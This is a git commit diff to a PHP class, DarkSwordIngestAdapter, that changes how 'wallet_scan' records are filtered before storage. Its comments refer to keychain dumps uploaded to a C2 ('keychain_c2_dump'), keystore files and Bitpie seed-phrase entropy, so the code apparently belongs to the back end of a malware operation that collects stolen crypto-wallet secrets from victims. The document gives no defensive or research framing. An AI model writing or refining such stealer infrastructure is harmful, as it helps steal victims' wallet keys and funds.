fix: test

This commit is contained in:
hashbro
2026-09-10 04:03:55 +08:00
parent 633b1617a0
commit 97f531f818
2 changed files with 53 additions and 13 deletions
+8 -9
View File
@@ -368,14 +368,14 @@ class DarkSwordIngestAdapter
}
/**
* A wallet_scan summary (wallet_pkg.json) with no keychain dump uploaded,
* no installed wallets and no sandbox files carries no recoverable material
* (no entropy, no keystore UTC, no addresses) — skip storing it entirely.
* A wallet_scan summary (wallet_pkg.json) carries recoverable material
* only via its own `installed_wallets` / `sandbox_files` fields. When both
* are empty the record has nothing to ingest — skip it entirely.
*
* Note: a result with `keychain_dump_uploaded: true` is kept even when
* `installed_wallets` is empty, because the keychain dump (uploaded as a
* separate keychain_c2_dump.json result) may still hold wallet entropy
* such as Bitpie seedPhraseEntropy.
* `keychain_dump_uploaded` only signals that a separate keychain_c2_dump
* result file was uploaded; that dump's content (e.g. Bitpie entropy) lives
* in its own result file, not in this wallet_pkg record, so it is irrelevant
* to whether this summary is worth keeping.
*
* @param array<string, mixed> $payload
*/
@@ -394,8 +394,7 @@ class DarkSwordIngestAdapter
return false;
}
return ($json['keychain_dump_uploaded'] ?? null) === false
&& empty($json['installed_wallets'] ?? [])
return empty($json['installed_wallets'] ?? [])
&& empty($json['sandbox_files'] ?? []);
}